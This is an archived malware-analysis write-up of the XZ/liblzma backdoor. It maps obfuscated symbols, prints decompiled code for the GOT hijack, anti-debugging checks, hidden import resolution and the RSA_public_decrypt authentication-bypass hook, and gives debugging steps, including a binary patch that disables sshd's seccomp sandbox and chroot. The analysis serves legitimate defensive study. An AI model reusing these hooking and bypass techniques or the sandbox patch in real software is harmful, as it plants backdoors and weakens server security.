[WIP] XZ Backdoor Analysis and symbol mapping

By smx-smx

Archived: 2026-04-05 16:56:58 UTC

Discord Room for discussion

https://discord.com/invite/maFYmgQkYH

Github repository:

https://github.com/smx-smx/xzre

Init routines

- `Llzma_delta_props_decoder` -> `backdoor_ctx_save`
- `Llzma_block_param_encoder_0` -> `backdoor_init`
- `Llzma_delta_props_encoder` -> `backdoor_init_stage2`

Prefix Trie (https://social.hackerspace.pl/@q3k/112184695043115759)

- `Llzip_decode_1` -> `table1`
- `Lcrc64_clmul_1` -> `table2`
- `Llz_stream_decode` -> `count_1_bits`
- `Lsimple_coder_update_0` -> `table_get`
    - Retrieves the index of the encoded string given the plaintext string in memory
- `Lcrc_init_0` -> `import_lookup`
- `.Lcrc64_generic.0` -> `import_lookup_ex`

Anti RE and x64 code Dasm

- `Llzma_block_buffer_encode_0` -> `check_software_breakpoint`
- `Lx86_code_part_0` -> `code_dasm`
- `Llzma_index_iter_rewind_cold` -> `check_return_address`

    - Checks if the return address has been tampered with. This function is called at the beginning of a "protected" function. If the check fails, the function returns early without doing anything

---

- `Llzma_delta_decoder_init_part_0` -> `backdoor_vtbl_init`
    - It sets up a vtable with core functions used by the backdoor
- `Lstream_decoder_memconfig_part_1` -> `get_lzma_allocator`
- `Llzma_simple_props_encode_1` -> `j_tls_get_addr`
- `Llzma_block_uncomp_encode_0` -> `rodata_ptr_offset`
- `Llzma12_coder_1` -> `global_ctx`

ELF parsing

- `Llzma_filter_decoder_is_supported.part.0` -> `parse_elf_invoke`
- `Lmicrolzma_encoder_init_1` -> `parse_elf_init`
- `Lget_literal_price_part_0` -> `parse_elf`
- `Llzma_stream_header_encode_part_0` -> `get_ehdr_address`
- `Lparse_bcj_0` -> `process_elf_seg`
- `Llzma_simple_props_size_part_0` -> `is_gnu_relro`

Stealthy ELF magic verification

```
// locate elf header
while ( 1 )
{
  if ( (unsigned int)table_get(ehdr, 0LL) == STR__ELF ) // 0x300
    break; // found
  ehdr -= 64; // backtrack and try again
  if ( ehdr == start_pointer )
    goto not_found;
}
```

- `Llzma_stream_flags_compare_1` -> `get_rodata_ptr`

Verified or Suspected function hooking

- `Llzma_index_memusage_0` -> `apply_entries`
- `Llzma_check_init_part_0` -> `apply_one_entry`
- `Lrc_read_init_part_0` -> `apply_one_entry_internal`
- `Llzma_lzma_optimum_fast_0` -> `install_entries`
- `Llzip_decoder_memconfig_part_0` -> `installed_func_0`
- `Llzma_index_prealloc_0` -> `RSA_public_decrypt GOT hook/detour`
- `Llzma_index_stream_size_1` -> `check_special_rsa_key` -> (thanks q3k)
    - Called from `Llzma_index_prealloc_0`, it checks if the supplied RSA key is the special key to bypass the normal authentication flow
- `Lindex_decode_1` -> `installed_func_2`
- `Lindex_encode_1` -> `installed_func_3`
- `Llzma2_decoder_end_1` -> `apply_one_entry_ex`
- `Llzma2_encoder_init.1` -> `apply_method_1`
- `Llzma_memlimit_get_1` -> `apply_method_2`

---

lzma allocator / call hiding

- `Lstream_decoder_mt_end_0` -> `get_lzma_allocator_addr`
- `Linit_pric_table_part_1` -> `fake_lzma_allocator`
- `Lstream_decode_1` -> `fake_lzma_free`

---

core functionality

- `Llzma_delta_props_encode_part_0` -> `resolve_imports` (including `system()`)
- `Llzma_index_stream_flags_0` -> `process_shared_libraries`
    - Reads the list of loaded libraries through `_r_debug->r_map`, and calls `process_shared_libraries_map` to traverse it
- `Llzma_index_encoder_init_1` -> `process_shared_libraries_map`
    - Traverses the list of loaded libraries, looking for specific libraries

- func @0x7620 : It does indirect calls on the vtable configured by `backdoor_vtbl_init`, and is called by the `RSA_public_decrypt` hook (func#1) upon certain conditions are met

Software Breakpoint check, method 1

This method checks if the instruction `endbr64`, which is always present at the beginning of every function in the malware, is overwritten. GDB would typically do this when inserting a software breakpoint

```
/*** address: 0xAB0 ***/
__int64 check_software_breakpoint(_DWORD *code_addr, __int64 a2, int a3)
{
  unsigned int v4;

  v4 = 0;
  // [for a3=0xe230], true when *v = 0xfa1e0ff3 (aka endbr64)
  if ( a2 - code_addr > 3 )
    return *code_addr + (a3 | 0x5E20000) == 0xF223;// 5E2E230
  return v4;
}
```

Function backdoor_init (0xA784)

```
__int64 backdoor_init(rootkit_ctx *ctx, DWORD *prev_got_ptr)
{
  _DWORD *v2;
  __int64 runtime_offset;
  bool is_cpuid_got_zero;
  void *cpuid_got_ptr;
  __int64 got_value;
  _QWORD *cpuid_got_ptr_1;

  ctx->self = ctx;
  // store data before overwrite
  backdoor_ctx_save(ctx);
  ctx->prev_got_ptr = ctx->got_ptr;
  runtime_offset = ctx->head - ctx->self;
  ctx->runtime_offset = runtime_offset;
  is_cpuid_got_zero = (char *)*(&Llzma_block_buffer_decode_0 + 1) + runtime_offset == 0LL;
  cpuid_got_ptr = (char *)*(&Llzma_block_buffer_decode_0 + 1) + runtime_offset;
  ctx->got_ptr = cpuid_got_ptr;
  if ( !is_cpuid_got_zero )
  {
    cpuid_got_ptr_1 = cpuid_got_ptr;
    got_value = *(QWORD *)cpuid_got_ptr;
    // replace with Llzma_delta_props_encoder (backdoor_init_stage2)
```

```
    *(QWORD *)cpuid_got_ptr = (char *)*(&Llzma_block_buffer_decode_0 + 2) + runtime_offset;
    // this calls Llzma_delta_props_encoder due to the GOT overwrite
    runtime_offset = cpuid((unsigned int)ctx, prev_got_ptr, cpuid_got_ptr, &Llzma_block_buffer_decod
    // restore original
    *cpuid_got_ptr_1 = got_value;
  }
  return runtime_offset;
}
```

Function Name matching (function 0x28C0)

```
str_id = table_get(a6, 0LL);
...
if ( str_id == STR_RSA_public_decrypt_ && v11 )
...
else if ( v13 && str_id == STR_EVP_PKEY_set__RSA_ )
...
else if (str_id != STR_RSA_get__key_ || !v17 )
```

Hidden calls (via `lzma_alloc`)

`lzma_alloc` has the following prototype:

```
extern void * lzma_alloc (size_t size , const lzma_allocator * allocator )
```

The malware implements a custom allocator, which is obtained from `get_lzma_allocator` @ 0x4050

```
void *get_lzma_allocator()
{
  return get_lzma_allocator_addr() + 8;
}

char *get_lzma_allocator_addr()
{
  unsigned int i;
  char *mem;

  // Llookup_filter_part_0 holds the relative offset of `_Ldecoder_1` - 180h (0xC930)
  // by adding 0x180, it gets to 0xCAB0 (Lx86_coder_destroy), Since the caller adds +8, we get to 0x
  mem = (char *)Llookup_filter_part_0;
  for ( i = 0; i <= 0xB; ++i )
    mem += 32;
```

```
  return mem;
}
```

The interface for `lzma_allocator` can be viewed for example here: https://github.com/frida/xz/blob/e70f5800ab5001c9509d374dbf3e7e6b866c43fe/src/liblzma/api/lzma/base.h#L378-L440

Therefore, the allocator is `Linit_pric_table_part_1` and free is `Lstream_decode_1`

- NOTE: the function used for alloc is very likely `import_lookup_ex`, which turns `lzma_alloc` into an import resolution function. this is used a lot in `resolve_imports`, e.g.:

```
              system_func = lzma_alloc(STR_system_, lzma_allocator);
            ctx->system = system_func;
            if ( system_func )
              ++ctx->num_imports;
            shutdown_func = lzma_alloc(STR_shutdown_, lzma_allocator);
            ctx->shutdown = shutdown_func;
            if ( shutdown_func )
              ++ctx->num_imports;
```

The third `lzma_allocator` field, `opaque`, is abused to pass information about the loaded ELF file to the "fake allocator" function. This is highlighted quite well by function `Llzma_index_buffer_encode_0`:

```
__int64 Llzma_index_buffer_encode_0(Elf64_Ehdr **p_elf, struct_elf_info *elf_info, struct_ctx *ctx)
{
  _QWORD *lzma_allocator;
  __int64 result;
  __int64 fn_read;
  __int64 fn_errno_location;

  lzma_allocator = get_lzma_allocator();
  result = parse_elf(*p_elf, elf_info);         // reads elf into elf_info
  if ( (_DWORD)result )
  {
    lzma_allocator[2] = elf_info;               // set opaque field to the parsed elf info
    fn_read = lzma_alloc(STR_read_, lzma_allocator);
    ctx->fn_read = fn_read;
    if ( fn_read )
      ++ctx->num_imports;
    fn_errno_location = lzma_alloc(STR___errno_location_, lzma_allocator);
    ctx->fn_errno_location = fn_errno_location;
    if ( fn_errno_location )
      ++ctx->num_imports;
    return ctx->num_imports == 2; // true if we found both imports
  }
```

```
  return result;
}
```

Note how, instead of `size`, the malware passes an EncodedStringID instead

Dynamic analysis

Analyzing the initialization routine

1. Replace the `endbr64` in `get_cpuid` with a `jmp .` ("\xeb\xfe")

```
root@debian:~# cat /usr/lib/x86_64-linux-gnu/liblzma.so.5.6.1 > liblzma.so.5.6.1
root@debian:~# perl -pe 's/\xF3\x0F\x1E\xFA\x55\x48\x89\xF5\x4C\x89\xCE/\xEB\xFE\x90\x90\x55\x48\x89
```

2. Force sshd to use the modified library with `LD_PRELOAD`

```
 # env -i LC_LANG=C LD_PRELOAD=$PWD/liblzma.so.5.6.1 /usr/sbin/sshd -h
```

NOTE: anarazel recommends using `LD_LIBRARY_PATH` with a symlink instead, since `LD_PRELOAD` changes the initialization order and could interfere with the normal flow of the malware

2b. or use this gdbinit file to do it all at once

```
# cat gdbinit
set confirm off
unset env

## comment this out if you don't want to debug the initialization code
## (or use LD_LIBRARY_PATH instead)
set env LD_PRELOAD=/root/sshd/liblzma.so.5.6.1
set env LANG=C
file /usr/sbin/sshd
## start sshd on port 2022
set args -p 2022
set disassembly-flavor intel
set confirm on
set startup-with-shell off

show env
show args

# gdb -x gdbinit
(gdb) r
Starting program: /usr/sbin/sshd -p 222
^C <-- send CTRL-C
```

```
Program received signal SIGINT, Interrupt.
0x00007ffff7f8a7f0 in ?? ()
```

3. Attach to the frozen process with your favourite debugger (`gdb attach pid`)

```
 (gdb) bt
#0  0x00007f8cb3b067f0 in ?? () from /root/sshd/liblzma.so.5.6.1
#1  0x00007f8cb3b08c29 in lzma_crc32 () from /root/sshd/liblzma.so.5.6.1
#2  0x00007f8cb3b4ffab in elf_machine_rela (skip_ifunc=<optimized out>,
    reloc_addr_arg=0x7f8cb3b3dda0 <lzma_crc32@got[plt]>,
    version=<optimized out>, sym=0x7f8cb3b03018, reloc=0x7f8cb3b04fc8,
    scope=0x7f8cb3b3f4f8, map=0x7f8cb3b3f170)
    at ../sysdeps/x86_64/dl-machine.h:300
#3  elf_dynamic_do_Rela (skip_ifunc=<optimized out>, lazy=<optimized out>,
    nrelative=<optimized out>, relsize=<optimized out>,
    reladdr=<optimized out>, scope=<optimized out>, map=0x7f8cb3b3f170)
    at ./elf/do-rel.h:147
#4  _dl_relocate_object (l=l@entry=0x7f8cb3b3f170, scope=<optimized out>,
    reloc_mode=<optimized out>, consider_profiling=<optimized out>,
    consider_profiling@entry=0) at ./elf/dl-reloc.c:301
#5  0x00007f8cb3b5e6e9 in dl_main (phdr=<optimized out>, phnum=<optimized out>,
    user_entry=<optimized out>, auxv=<optimized out>) at ./elf/rtld.c:2318
#6  0x00007f8cb3b5af0f in _dl_sysdep_start (
    start_argptr=start_argptr@entry=0x7ffe17e402e0,
    dl_main=dl_main@entry=0x7f8cb3b5c900 <dl_main>)
    at ../sysdeps/unix/sysv/linux/dl-sysdep.c:140
#7  0x00007f8cb3b5c60c in _dl_start_final (arg=0x7ffe17e402e0)
    at ./elf/rtld.c:498
#8  _dl_start (arg=0x7ffe17e402e0) at ./elf/rtld.c:585
#9  0x00007f8cb3b5b4d8 in _start () from /lib64/ld-li
nux-x86-64.so.2
#10 0x0000000000000002 in ?? ()
#11 0x00007ffe17e40fa1 in ?? ()
#12 0x00007ffe17e40fb0 in ?? ()
#13 0x0000000000000000 in ?? ()
```

NOTE: `_get_cpuid` will call function 0xA710, whose purpose is to detect if we're at the right point to initialize the backdoor Why? Because `elf_machine_rela` will call `_get_cpuid` for both `lzma_crc32` and `lzma_crc64`. Since the modified code is part of `lzma_crc64`, 0xA710 has a simple call counter in it to trace how many times it has been called, and make sure the modification doesn't trigger for `lzma_crc32`.

- first call (0): -> `lzma_crc32`
- second call (1): -> `lzma_crc64`

```
  if ( call_counter == 1 )
  {
    /** NOTE: some of these fields are unverified and guessed **/
    rootkit_ctx.head = 1LL;
    memset(&rootkit_ctx.runtime_offset, 0, 32);
    rootkit_ctx.prev_got_ptr = prev_got_ptr;
    backdoor_init(&rootkit_ctx, prev_got_ptr);  // replace cpuid got entry
  }
  ++call_counter;
  cpuid(a1, &v5, &v6, &v7, &rootkit_ctx);
  return v5;
}
```

At this point, you can issue `detach` and attach with other debuggers if needed.

Once attached, set relevant breakpoints and restore the original bytes ("\xF3\x0F\x1E\xFA")

breakpoint on RSA_public_decrypt hook

Run this gdb script on the sshd listener process (this new gdbinit script should account for eventual differences in library load address - it didn't happen for me in the first tests but it did later on)

```
 set pagination off
set follow-fork-mode child
catch load
# now we forked, wait for lzma
catch load liblzma
c
# now we have lzma
# 0x12750: offset from base
hbreak *(lzma_crc32 - 0x2640 + 0x12750)
set disassembly-flavor intel
set pagination on
c
```

Now connect via https://gist.github.com/keeganryan/a6c22e1045e67c17e88a606dfdf95ae4

```
 ...
Thread 3.1 "sshd" hit Breakpoint 1, 0x00007ffff73d1d00 in ?? () from /lib/x86_64-linux-gnu/liblzma.so.5
(gdb) bt
#0  0x00007ffff73d1d00 in ?? () from /lib/x86_64-linux-gnu/liblzma.so.5
#1  0x00007ffff73d1ae7 in ?? () from /lib/x86_64-linux-gnu/liblzma.so.5 <-- Llzma_index_prealloc_0 (offset 0x48
#2  0x00005555556bdd00 in ?? ()
#3  0x0000000100000004 in ?? ()
#4  0x00007fffffffdeb0 in ?? ()
```

```
#5  0x00000001f74b5d7a in ?? ()
#6  0x0000000000000000 in ?? ()
```

RSA_public_decrypt GOT hook (Llzma_index_prealloc_0)

```
  /** the following happens during pubkey login **/

  params[0] = 1;                                // should we call original?
  // this call checks if the supplied RSA key is special
  result = installed_func_1(rsa_key, global_ctx, params);
  // if still 1, the payload didn't trigger, call the original function
  // if 0, bypass validation
  if ( params[0] )
    return real_RSA_public_decrypt(flen, from, to, rsa_key);
  return result;
```

Binary patch for `sshd` to disable seccomp and chroot (allows Frida tracing of `[net]` processes)

```
> fc /b sshd sshd_patched
Comparing files sshd sshd_patched
0001332A: 75 90
0001332B: 6D 90
----
0004FC24: 41 C3
0004FC25: 54 90
----
00109010: 01 00
```

- 0001332A: changes the following JMP to not be taken: https://github.com/openssh/openssh-portable/blob/43e7c1c07cf6aae7f4394ca8ae91a3efc46514e2/sshd.c#L448-L449
- 0004FC24: changes the `ssh_sandbox_child` function to be a no-op: https://github.com/openssh/openssh-portable/blob/43e7c1c07cf6aae7f4394ca8ae91a3efc46514e2/sandbox-seccomp-filter.c#L490
- 00109010: changes the default value of `privsep_chroot` from 1 to 0 (probably redundant, since it gets overwritten)
